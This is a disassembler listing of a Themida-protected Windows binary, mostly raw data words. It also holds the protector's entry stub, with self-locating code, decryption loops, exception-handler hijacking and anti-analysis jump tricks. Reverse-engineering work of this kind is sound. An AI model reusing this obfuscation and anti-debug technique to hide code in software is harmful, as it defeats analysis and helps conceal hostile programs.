		dd 714900h, 6 dup(0)
		dd 7C00h, 2 dup(0)
		dd 5A84E100h, 6	dup(0)
		dd 400E900h, 2 dup(0)
		dd 0FE030400h, 7Fh, 4 dup(0)
		dd 12FFA400h, 0FFFF6F00h, 0FFh,	2 dup(0)
		dd 59059F00h, 9FA00F00h, 4 dup(0)
		dd offset dword_43E57C+2684h
		dd 7D100h, 9 dup(0)
		dd 0DD00000h, 0Bh dup(0)
		dd 66764D00h, 46h, 0E8388800h, 6FFFB0FFh, 1, 7 dup(0)
		dd 0A453B700h, 1DFh, 0
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 5756E100h, 57359600h, 6 dup(0)
		dd 9ED55400h, 3	dup(0)
		dd 36363600h, 36h, 0
		dd 9FA00F00h, 6	dup(0)
		dd 771900h, 3 dup(0)
		dd 7FFCFE00h, 0FAh, 2 dup(0)
		dd 0A2C92500h, 51h, 65h	dup(0)
		dd 22FE800h, 6 dup(0)
		dd 220000h, 2 dup(0)
		dd 0CFD03D00h, 70h, 0AFA1FE00h,	0DF873C00h, 2513BAh, 0
		dd 5A173400h, 0FE030400h, 7Fh, 0
		dd 0E600F800h, 24242477h, 24h, 9 dup(0)
		dd 0D4C96A00h, 77h, 4 dup(0)
		dd 0EF282200h, 44h, 0B1h dup(0)
		dd 0E83E6800h, 77h, 9 dup(0)
		dd 3B0000h, 6 dup(0)
		dd 57002300h, 0
		dd 0DF54E900h, 69h, 5 dup(0)
		dd 7EA68E00h, 0E9h, 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h
		dd 32336D65h, 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Bh	dup(0)
		dd 6E00E800h, 7Fh, 3 dup(0)
		dd 100h, 4 dup(0)
		dd 8528B500h, 35h, 8 dup(0)
		dd 602400h, 2 dup(0)
		dd 57002300h, 0
		dd 57000000h, 58FB8548h, 0E78B8200h, 58F7C377h,	19h dup(0)
		dd 5739AB00h, 0F5180B00h, 77h, 0
		dd 9A74B800h, 0E7A144FFh, 77h, 0Dh dup(0)
		dd 0E2E09000h, 0E0014FCh, 56BFE700h, 3 dup(0)
		dd 5756F300h, 4	dup(0)
		dd 0E7A14400h, 77h, 0E6000000h,	0A166D977h, 53FC2F80h
		dd 0
		dd 10A9E900h, 3	dup(0)
		dd 0FFFFFF00h, 9E0FE6FFh, 0BD5DCE00h, 67h, 3 dup(0)
		dd 0E8216000h, 77h, 5B16AF00h, 0Bh dup(0)
		dd 0CD272700h, 9C4Dh, 0Dh dup(0)
		dd 0E82FE800h, 77h, 6 dup(0)
		dd 8B000000h, 2, 4 dup(0)
		dd 1BD00000h, 5756E100h, 5821C500h, 14h	dup(0)
		dd 5B16AF00h, 2	dup(0)
		dd 7800h, 2 dup(0)
		dd 287FBE00h, 27h, 3 dup(0)
		dd 57D0D400h, 0
		dd 6B4C00h, 0
		dd 0D4000000h, 77h, 12FF5400h, 2 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 0DD23D700h, 0B5E277h, 100h, 0
		dd 5B5A3600h, 2	dup(0)
		dd 0FF8CC400h, 0CD2727FFh, 4Dh,	5AEF6700h, 0Dh dup(0)
		dd 0FE030400h, 7Fh, 0F800h, 0A400h, 0Ch	dup(0)
		dd 97182F00h, 5401070Bh, 0
		dd 0E8417C00h, 77h, 2 dup(0)
		dd 5AD87800h, 6	dup(0)
		dd 0D4DE00h, 7DC00h, 0
		dd 0DA50BC00h, 9FFFF09Fh, 1, 0
		dd 0E400h, 8 dup(0)
		dd 0FFFFFF00h, 0FFh, 12FF5400h,	0A023E800h, 8D8D00h, 0
		dd 0C530DF00h, 12FFE0A9h, 6 dup(0)
		dd 5936B400h, 0Fh dup(0)
		dd 9F3E3B00h, 99593300h, 0D8h, 0F5000000h, 78D1E477h, 0FEh
		dd 2 dup(0)
		dd 5AB87B00h, 2	dup(0)
		dd 0E8216800h, 77h, 0FC502400h,	77h, 5 dup(0)
		dd 9F09F700h, 0
		dd 48082800h, 77h, 0E75CB500h, 77h, 0
		dd 0A6932000h, 0FFh, 2 dup(0)
		dd 58F7C300h, 3	dup(0)
		dd 0FFF26800h, 0FFh, 2 dup(0)
		dd 486BD700h, 2, 3 dup(0)
		dd 844E7800h, 1Ch, 16B52900h, 8Ah, 782900h, 2 dup(0)
		dd 0AB825300h, 3900h, 0
		dd 6FA5A700h, 100062h, 0
		dd 200h, 74E06A00h, 0FEh, 7 dup(0)
		dd 7D000000h, 6Fh, 8 dup(0)
		dd 6B4C00h, 3 dup(0)
		dd 0DC5400h, 4 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 7FFCFE00h, 0B311A0FAh, 4Ah, 57A53500h, 3 dup(0)
		dd 57652E00h, 0
		dd 1C54400h, 2214000h, 2 dup(0)
		dd 0A82E00h, 2 dup(0)
		dd 8400h, 3 dup(0)
		dd 18426A00h, 16000054h, 48h, 0
		dd offset dword_4F2844+1BCh
		dd 2 dup(0)
		dd 8800h, 5 dup(0)
		dd 0FFFFFF00h, 0FFh, 0B800h, 0C00B0000h, 18C20374h, 24448B00h
		dd 0E8530Ch, 5B000000h,	17C381h, 5C890000h, 44891024h
		dd 0B85B1424h, 9FA037h,	448BE0FFh, 0E0FF0424h, 14h dup(0)
		dd 80030200h, 5, 2 dup(0)
		dd 0B000h, 0E85BBD00h, 0FF91CC9Ch, 0FFh, 3 dup(0)
		dd 1FCFC00h, 80h, 2 dup(0)
		dd 6C623B00h, 0F7EE83CFh, 4BF77h, 0Bh dup(0)
		dd 9E000000h, 0B80F5400h, 10h, 7 dup(0)
		dd 57DA8F00h, 4	dup(0)
		dd 0D000h, 2 dup(0)
		dd 0F60F1400h, 7Fh, 3 dup(0)
		dd 2B00h, 5C2A600h, 78935C2Eh, 15h, 6 dup(0)
		dd 0F1A10200h, 0E0h, 9EB16800h,	7 dup(0)
		dd 5A000000h, 2, 0Dh dup(0)
		dd 0C530DF00h, 0A9h, 2 dup(0)
		dd 9E003E00h, 0FE030400h, 7Fh, 4 dup(0)
		dd 10E800h, 0Bh	dup(0)
		dd 36D82C00h, 0E7A099FAh, 77h, 0F4B7B100h, 14h,	2Bh dup(0)
		dd 121A00h, 3 dup(0)
		dd 5A333200h, 0FF314700h, 0FFh,	0
		dd 0FFB96A00h, 0FFh, 16h dup(0)
		dd 574ECE00h, 0
		dd 0CBB43500h, 0A38D53ADh, 2 dup(0)
		dd 0E63F9600h, 0B4h, 5 dup(0)
		dd 6B4C00h, 17872E00h, 63h, 0E793EF00h,	5A203C77h, 0
		dd 36D82C00h, 0FAh, 30DF00h, 0
		dd 58BF3900h, 9Fh, 59000000h, 2, 4 dup(0)
		dd 0EF561700h, 0FFh, 7 dup(0)
		dd 0A695E100h, 0FFh, 5 dup(0)
		dd 5A333200h, 0
		dd 0B6000000h, 5A2D6000h, 596C4F00h, 4 dup(0)
		dd 5A374F00h, 0
		dd 5A494A00h, 7	dup(0)
		dd 9FA00F00h, 6	dup(0)
		dd 0CB6CFA00h, 4, 3 dup(0)
		dd 1900h, 0FF53A200h, 0FFh, 8 dup(0)
		dd 0A680A300h, 2EA039CDh, 0BAh,	3 dup(0)
		dd 10A9E900h, 0
		dd 0A5B73A00h, 0FFh, 59890A00h,	0
		dd 0ED9F6900h, 32h, 99400h, 5 dup(0)
		dd 58B45A00h, 6	dup(0)
		dd 5B8C5D00h, 0
		dd 7FFCFE00h, 0FAh, 0E82FE800h,	77h, 6B4C00h, 2	dup(0)
		dd 57A81A00h, 0
		dd 0FFFF9400h, 0FFh, 0E0DE9700h, 0FCh, 7A695E00h, 0BBh
		dd 2 dup(0)
		dd 0A7BBDC00h, 0FFh, 0Bh dup(0)
		dd 400E900h, 6 dup(0)
		dd 0FE030400h, 7Fh, 5 dup(0)
		dd 0E7A83700h, 77h, 5 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 10E800h, 3 dup(0)
		dd 0A51AD600h, 0FFh, 3 dup(0)
		dd 18AE6300h, 2	dup(0)
		dd 0FE030400h, 0FFE3957Fh, 0FFh, 0
		dd 1FCFC00h, 80h, 7Fh dup(0)
		dd 0D364D100h, 8A1B4007h, 0CAh,	0FFFFFF00h, 0DD5ECCFFh
		dd 30DF77h, 5 dup(0)
		dd 200h, 4 dup(0)
		dd 9FFA5600h, 5	dup(0)
		dd 0A5FD8F00h, 7Fh, 0B2BC6400h,	0D5h, 2	dup(0)
		dd 5756E100h, 3	dup(0)
		dd 9FA03700h, 2	dup(0)
		dd 0A5B60000h, 0FFh, 5B16AF00h,	0Bh dup(0)
		dd 0AC8B3C00h, 0B8h, 9 dup(0)
		dd 6AFC00h, 0FF9F6400h,	0FFh, 5E676A00h, 0A1731610h, 6 dup(0)
		dd 400h, 6 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0A6A25F00h, 59h, 0
		dd 5B368100h, 2	dup(0)
		dd 271000h, 0
		dd 0D364D100h, 7, 2 dup(0)
		dd 50327200h, 45h, 7 dup(0)
		dd 0FFDB7F00h, 6Ch, 2 dup(0)
		dd 57359600h, 0A19BAC00h, 5 dup(0)
		dd 5A200900h, 0D116B300h, 0CCh,	14h dup(0)
		dd 5935CC00h, 9F5E2E00h, 3 dup(0)
		dd 39EFE300h, 0A3h, 121EF500h, 0DFFF5F00h, 63h,	0A800h
		dd 0
		dd 9F229200h, 0
		dd 5B000000h, 5927FA02h, 80h, 0Ch dup(0)
		dd 65685400h, 6164696Dh, 1Dh dup(0)
		dd 0B4C40E00h, 15h, 0Eh	dup(0)
		dd 5B1A0500h, 6144CA00h, 0FAh, 7 dup(0)
		dd offset dword_5A0300
		dd 2 dup(0)
		dd 0FFFFFF00h, 0FFh, 0
		dd 5B352E00h, 2	dup(0)
		dd 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 86h dup(0)
		dd 605FF100h, 0FFh, 0E8061800h,	57740D77h, 3 dup(0)
		dd 0C290E700h, 94h, 2 dup(0)
		dd 0AD076100h, 12FFF053h, 2 dup(0)
		dd 1AB0A700h, 0A8h, 6 dup(0)
		dd 0A5DC4D00h, 0FFh, 0
		dd 80030200h, 5, 9F70C400h, 0E74A3B00h,	8BBE3077h, 0FFh
		dd 0
		dd 5A8A4D00h, 5ADE3F00h, 3 dup(0)
		dd 0E6D70600h, 77h, 9 dup(0)
		dd 0C30B9700h, 0B2h, 2 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 9E800h, 56F68300h, 7	dup(0)
		dd 5E417300h, 1Fh, 0E900h, 7 dup(0)
		dd 9F8C0A00h, 0
		dd 5A69C800h, 7	dup(0)
		dd 10A9E900h, 2	dup(0)
		dd 5860DA00h, 4	dup(0)
		dd 58B9100h, 25h, 0Bh dup(0)
		dd 11111100h, 11h, 0E6000100h, 77h, 56F91E00h, 6 dup(0)
		dd 531C900h, 2 dup(0)
		dd 10A9E900h, 7	dup(0)
		dd 0A0156800h, 4 dup(0)
		dd 9F939300h, 0Ah dup(0)
		dd 12FF5400h, 5	dup(0)
		dd 73529D00h, 8Ah, 0
		dd 93C58B00h, 5, 23967600h, 47h, 0Fh dup(0)
		dd 5A9F2600h, 2Ch dup(0)
		dd 0F5125400h, 22222277h, 22222222h, 0FE030422h, 7Fh, 7	dup(0)
		dd 100h, 3 dup(0)
		dd 59365700h, 58067100h, 0
		dd 0E78B8200h, 77h, 4 dup(0)
		dd 0C325FA00h, 0FFh, 0
		dd 58B45500h, 17FA6F00h, 88h, 8000h, 3 dup(0)
		dd 4FFFB000h, 1, 2 dup(0)
		dd 9F81EB00h, 0D2h, 0
		dd 100h, 9F69DD00h, 9F8C0A00h, 4 dup(0)
		dd 40000000h, 749D4902h, 21h, 38D99700h, 0BBh, 0
		dd 9E000000h, 0
		dd 30400h, 0
		dd 0FE030400h, 171A937Fh, 50h, 58A23E00h, 2 dup(0)
		dd 0A0F1A800h, 0FFEB35FEh, 7Fh,	14h dup(0)
		dd 0DADC00h, 2 dup(0)
		dd 12FF5400h, 2	dup(0)
		dd 2D343000h, 131h, 0
		dd 2BA1100h, 80h, 53D8B900h, 4 dup(0)
		dd 0ABE900h, 121EF500h,	5936ED00h, 5 dup(0)
		dd 5577E000h, 0E779638Eh, 77h, 0FE030400h, 7Fh,	0
		dd 0D2631700h, 19h, 0
		dd 0DD189A00h, 77h, 9 dup(0)
		dd 9F69DD00h, 600h, 0EFC16300h,	1FFh, 0
		dd 100h, 4 dup(0)
		dd 0D364D100h, 7, 3 dup(0)
		dd 100h, 0
		dd 487FFC00h, 2, 0A17FD800h, 3 dup(0)
		dd 779D00h, 5 dup(0)
		dd 9000h, 0FE030400h, 7Fh, 8D16EA00h, 6B4C2Eh, 0
		dd 0DADC00h, 0FF8B6000h, 0FFh, 4 dup(0)
		dd 57EEE800h, 0A800h, 2	dup(0)
		dd 9F314500h, 0
		dd 10000h, 2 dup(0)
		dd 5C6D3B00h, 3Dh, 0FE030400h, 7Fh, 6C00h, 5 dup(0)
		dd 0E805D800h, 77h, 0A77D0400h,	0A03268FFh, 0
		dd 5777EE00h, 0
		dd 0AC00h, 7 dup(0)
		dd 53C5CD00h, 0
		dd 5882FC00h, 6	dup(0)
		dd 844E7800h, 1Ch, 3 dup(0)
		dd 574ECE00h, 9F923400h, 36D82C00h, 0FAh, 0
		dd 58000000h, 2, 0
		dd 0CD272700h, 944Dh, 8D8D00h, 9 dup(0)
		dd 746AE00h, 1,	0
		dd 0EE9ABE00h, 26h, 0
		dd 0FFFFFF00h, 77h, 8 dup(0)
		dd 0FFFFFF00h, 0FFh, 5 dup(0)
		dd 0FE030400h, 9F915B7Fh, 13h dup(0)
		dd 40000C00h, 6FFFB002h, 1, 6 dup(0)
		dd 0FE030400h, 7Fh, 31h	dup(0)
		dd 5A4D3D00h, 7000h, 2 dup(0)
		dd 12FFC400h, 2	dup(0)
		dd 0D68D8D00h, 32h, 2 dup(0)
		dd 69FF00h, 4 dup(0)
		dd 5A170400h, 9E00F800h, 3A000h, 5 dup(0)
		dd 1F919700h, 0FBh, 9F69DD00h, 5 dup(0)
		dd 0A1CBA000h, 0FEh, 2 dup(0)
		dd 0CB918900h, 92AE468h, 58h, 3	dup(0)
		dd 58FFB000h, 3700000h,	4 dup(0)
		dd 7FFCFE00h, 0FAh, 2 dup(0)
		dd 0E7A13F00h, 77h, 3 dup(0)
		dd 30961B00h, 0FF9F641Ah, 0FFh,	5 dup(0)
		dd 0AD0C8C00h, 0B2h, 2 dup(0)
		dd 0E776CD00h, 40100077h, 0
		dd 0A6400h, 41917800h, 9F9C3780h, 0F6A6AC00h, 2Eh, 53CBCE00h
		dd 6 dup(0)
		dd 6B869100h, 14340Eh, 2 dup(0)
		dd 80D53E00h, 36h, 6B4C00h, 11h	dup(0)
		dd 5A84E100h, 0
		dd 57F6F700h, 0
		dd 58F3F800h, 10h dup(0)
		dd 5A18CC00h, 0
		dd 5A0DE800h, 59000000h, 0BB9A2602h, 0FFh, 8 dup(0)
		dd 6B4C00h, 51240000h, 80h, 5A762100h, 0
		dd 0C2BC00h, 0C74A9300h, 65h, 0Dh dup(0)
		dd 9800h, 3 dup(0)
		dd 57B5A300h, 0Eh dup(0)
		dd 12FF5400h, 3	dup(0)
		dd 0E7AC5E00h, 0FFFFFE77h, 0FFh, 21212100h, 21h, 0
		dd 0EF561700h, 92AEEBFFh, 0C1h,	8 dup(0)
		dd 0F7EBB300h, 77h, 0
		dd 0B41B4000h, 0D5C5EB76h, 6Bh,	0Eh dup(0)
		dd 0E4AF000h, 0A800h, 0A7DC8E00h, 0FFh,	7 dup(0)
		dd 100h, 9 dup(0)
		dd 57581C00h, 2	dup(0)
		dd 12FFE000h, 2	dup(0)
		dd 0FCA3A300h, 77h, 2 dup(0)
		dd 6A1500h, 0
		dd 0E7A5FD00h, 77h, 0
		dd 0BA6F2C00h, 0E0h, 5 dup(0)
		dd 57A1D200h, 0
		dd 0A3A5E700h, 3 dup(0)
		dd 900C800h, 5 dup(0)
		dd 9E003E00h, 0
		dd 0FE030400h, 5662697Fh, 3 dup(0)
		dd 56F8F600h, 3	dup(0)
		dd 3CC0000h, 9 dup(0)
		dd 4DE00000h, 3	dup(0)
		dd 0FFFF7F00h, 7Dh, 0
		dd 57B48300h, 2	dup(0)
		dd 53CBCD00h, 5B16AF00h, 5000h,	0B061C8FEh, 0D5h, 3A100h
		dd 6 dup(0)
		dd 5D9000h, 0
		dd 278D8D00h, 0AC0E076Dh, 0FFh,	0F0019F00h, 1A01E870h
		dd 36D82C00h, 0FAh, 5 dup(0)
		dd 0DD000000h, 77h, 2 dup(0)
		dd 1D5C1D00h, 4Dh, 0
		dd 0EBA6E900h, 77h, 0
		dd 27748600h, 83h, 0CD272700h, 4Dh, 0
		dd 9F949900h, 2	dup(0)
		dd 81279B00h, 7Eh, 2 dup(0)
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53F559:				; CODE XREF: start:loc_53C1ACj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 61D33B7h
		mov	[ebp+61D2E25h],	edx
		mov	[ebp+61D1165h],	esi
		mov	[ebp+61D2575h],	eax
		cmp	dword ptr [ebp+61D0619h], 0
		jz	short loc_53F591
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_53F591:				; CODE XREF: start+5F56Fj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+61D00A5h],	eax
		push	45h
		call	sub_53F645
		push	783749Ah
		call	sub_53F68B
		push	0A894B25h
		call	sub_53F68B
		jmp	loc_53F7CF
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53F645	proc near		; CODE XREF: start+5F589p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 61D34A5h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_53F661:				; CODE XREF: sub_53F645+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_53F680
		mov	eax, [ebp+arg_0]
		mov	[ebx+61D340Fh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_53F661
; ---------------------------------------------------------------------------


loc_53F680:				; CODE XREF: sub_53F645+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_53F645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53F68B	proc near		; CODE XREF: start+5F593p start+5F59Dp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 61D34EEh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_53F6B1:				; CODE XREF: sub_53F68B+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_53F6B1
		mov	[ebp+var_84], 0
		lea	edi, [edx+61D340Fh]
		lea	esi, [ebp+var_80]


loc_53F6E1:				; CODE XREF: sub_53F68B+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_53F6ED:				; CODE XREF: sub_53F68B+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_53F6ED
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_53F6E1
		popa
		leave
		retn	4
sub_53F68B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_53F72B
; ---------------------------------------------------------------------------


loc_53F727:				; CODE XREF: Themida_:0053F72Ej
		inc	dword ptr [ebp-4]
		inc	esi


loc_53F72B:				; CODE XREF: Themida_:0053F725j
		cmp	byte ptr [esi],	0
		jnz	short loc_53F727
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_53F7BC
; ---------------------------------------------------------------------------


loc_53F73D:				; CODE XREF: Themida_:0053F7BFj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_53F7B3
; ---------------------------------------------------------------------------


loc_53F746:				; CODE XREF: Themida_:0053F7B7j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_53F7A0
; ---------------------------------------------------------------------------


loc_53F756:				; CODE XREF: Themida_:0053F7A4j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_53F778
		cmp	bl, 39h
		ja	short loc_53F778
		sub	bl, 30h
		jmp	short loc_53F79A
; ---------------------------------------------------------------------------


loc_53F778:				; CODE XREF: Themida_:0053F76Cj
					; Themida_:0053F771j
		cmp	bl, 61h
		jb	short loc_53F78A
		cmp	bl, 66h
		ja	short loc_53F78A
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_53F79A
; ---------------------------------------------------------------------------


loc_53F78A:				; CODE XREF: Themida_:0053F77Bj
					; Themida_:0053F780j
		cmp	bl, 41h
		jb	short loc_53F79A
		cmp	bl, 46h
		ja	short loc_53F79A
		sub	bl, 41h
		add	bl, 0Ah


loc_53F79A:				; CODE XREF: Themida_:0053F776j
					; Themida_:0053F788j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_53F7A0:				; CODE XREF: Themida_:0053F754j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_53F756
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_53F7B0
		mov	eax, [ebp-10h]
		stosb


loc_53F7B0:				; CODE XREF: Themida_:0053F7AAj
		inc	dword ptr [ebp-8]


loc_53F7B3:				; CODE XREF: Themida_:0053F744j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_53F746
		add	edx, 4


loc_53F7BC:				; CODE XREF: Themida_:0053F73Bj
		cmp	edx, [ebp-4]
		jb	loc_53F73D
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53F7CF:				; CODE XREF: start+5F5A2j
		mov	ecx, 7000h
		lea	edi, [ebp+61D3634h]


loc_53F7DA:				; CODE XREF: start+5F7CAj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_53F7DA
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+61D3771h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	eax
		call	sub_53F816
		and	[eax-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_53F816	proc near		; CODE XREF: start+5F7FAp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_53F816	endp

; ---------------------------------------------------------------------------
		dw 0AC7Ah
		dd 330E5E6h, 8E9h, 0DDCCE200h, 48E7A7ABh, 56006ADFh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 96D64631h, 6660807Eh, 757EA81h, 14840Fh, 0FE90000h
		dd 0E000000h, 30D41C87h, 13DFDD18h, 264B5182h, 6661F64Dh
		dd 0C22BD98Bh, 25DBB70Fh, 0FFFFF000h, 8166F960h, 613B07D6h
		dd 0FF33CA8Bh, 4D388166h, 0F0E755Ah, 33C50B7h, 503A81D0h
		dd 74000045h, 10002D08h, 0EB470000h, 58F64E3h, 0
		dd 8D04C483h, 1D378495h, 0FF645206h, 35h, 25896400h, 0
		dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h
		dd 3768000h, 331C708Bh,	32F883C0h, 81661F74h, 745A4D3Eh
		dd 0EE8109h, 40000100h,	7E8BEBEBh, 81FE033Ch, 45503Fh
		dd 0EB447400h, 58F64E8h, 0
		dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 244C8B51h, 0E85510h,	5D000000h, 378FED81h, 858D061Dh
		dd 61D374Dh, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h
		dd 6A04C4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 3485C9C3h, 0B3505C25h, 14E85B9Eh,	0F4000000h
		dd 0DF8C1DB9h, 387D76C8h, 9A0B1CACh, 0B0CFAE30h, 609AA37Fh
		dd 0C5F2BE66h, 0B70F5B61h, 0D98C66DBh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 2AC35545h, 0CD715E7h, 8BB1104Fh
		dd 4E180DFh, 0C90AD88Bh, 36850Fh, 0BB660000h, 85C75E3Eh
		dd 61D31C1h, 1,	13E9h, 0E923F200h, 7047C17Dh, 7CF221DCh
		dd 0B34D654Ch, 0B58D574Ah, 1BE9h, 5870F00h, 53000000h
		dd 5BDBBF0Fh, 31C185C7h, 61Dh, 0E3810000h, 688C5CA0h, 11E58589h
		dd 0EE9061Dh, 95000000h, 840D57CAh, 23973122h, 0C287A43Ch
		dd 5ADB8024h, 18058589h, 10E8061Dh, 3C000000h, 0E4F1F7CCh
		dd 0A2BC60FDh, 5E5DA888h, 0E8826611h, 10h, 2A2F9A38h, 6D934A07h
		dd 68A25CCDh, 3D3CEABCh, 0BDCE8166h, 0E95F58FBh, 0Ah, 0BF08E885h
		dd 0AE789A0h, 0C7811B5Bh, 7170h, 0EE9h,	2B1E5C00h, 0BB124098h
		dd 3D3EA524h, 68407F97h, 1C28h,	0F2B70F56h, 0B70F595Bh
		dd 8037FFC1h, 0B75A95E7h, 9AEA816Dh, 0E8430AF1h, 0Ch, 49C9222Ch
		dd 0C01C33D5h, 9159938h, 0B0DB8166h, 0C28158F1h, 39F48A4Dh
		dd 28A0F60h, 0B2000000h, 68D0F42h, 81000000h, 141F8ECFh
		dd 0F281615Ah, 70432222h, 52F38B66h, 8FF3BF0Fh,	28E0F07h
		dd 8B000000h, 1EF83F3h,	0D1AABE66h, 664F4F4Fh, 0E983C38Bh
		dd 92850F01h, 66FFFFFFh, 0E874A3BEh, 5,	0E6040BF6h, 0C18B660Dh
		dd 1870F5Ah, 0F8000000h, 62ABC281h, 8B660000h, 0F8DB33F7h
		dd 0E91A0C8Bh, 0Ch, 7E93AD6Eh, 0F2AFBB7Bh, 4141AECAh, 0B75FF181h
		dd 0F1813704h, 292C0BFDh, 7E951h, 54A60000h, 9ED355F0h
		dd 0C1815FA6h, 5A5DE9F9h, 13E8h, 27015700h, 7DADC83Ch
		dd 35F3DFFDh, 1D2181A7h, 0CAAD6F64h, 7E95158h, 2000000h
		dd 53E55BDCh, 48F47D9h,	5C63BE1Ah, 7E92ACAh, 38000000h
		dd 5A81FE9Bh, 0EB8372D6h, 7E803h, 0A00B0000h, 0B5A75965h
		dd 2850F15h, 60000000h,	0F4B5861h, 80h,	34FB8100h, 0FFFFF9Eh
		dd 1685h, 0C1BF0F00h, 26E9h, 0A42B3A00h, 9D641B84h, 0E7857A5Ah
		dd 0B0BCB0F6h, 0FF4AE973h, 2574FFFFh, 543D3D9Ch, 606B2F41h
		dd 8518481Ah, 0E9BCAADDh, 6B6h,	166DBD01h, 217061Dh, 0
		dd 3DFC3800h, 94ED015Dh, 0D729D728h, 972A530h, 0D49FB7h
		dd 55853100h, 60061D25h, 0FE9h,	4D7C2900h, 41FA49E4h, 19878115h
		dd 0F9BE8838h, 0B8h, 12840F00h,	60000000h, 42DBD8Bh, 5E9061Dh
		dd 4D000000h, 83FCB650h, 24548B61h, 8D8B6028h, 61D10E1h
		dd 14E9h, 51C7FA00h, 5B211796h,	0A52882C8h, 6DD8C67Ah
		dd 54646474h, 858961EEh, 61D0329h, 3CBEF9h, 0B5290000h
		dd 61D15A5h, 8D896060h,	61D13A9h, 4ACA8166h, 0E58A615Ch
		dd 24740361h, 66606024h, 8BFA2EBFh, 1D12B995h, 95336106h
		dd 61D1A09h, 29AD6661h,	1D02859Dh, 24440306h, 0F1858924h
		dd 0F5061D0Bh, 50525050h, 0F616052h, 8A0F31h, 5A000000h
		dd 0F310F58h, 1181h, 0CE900h, 3CF0000h,	7EAB8EA8h, 0BF42E643h
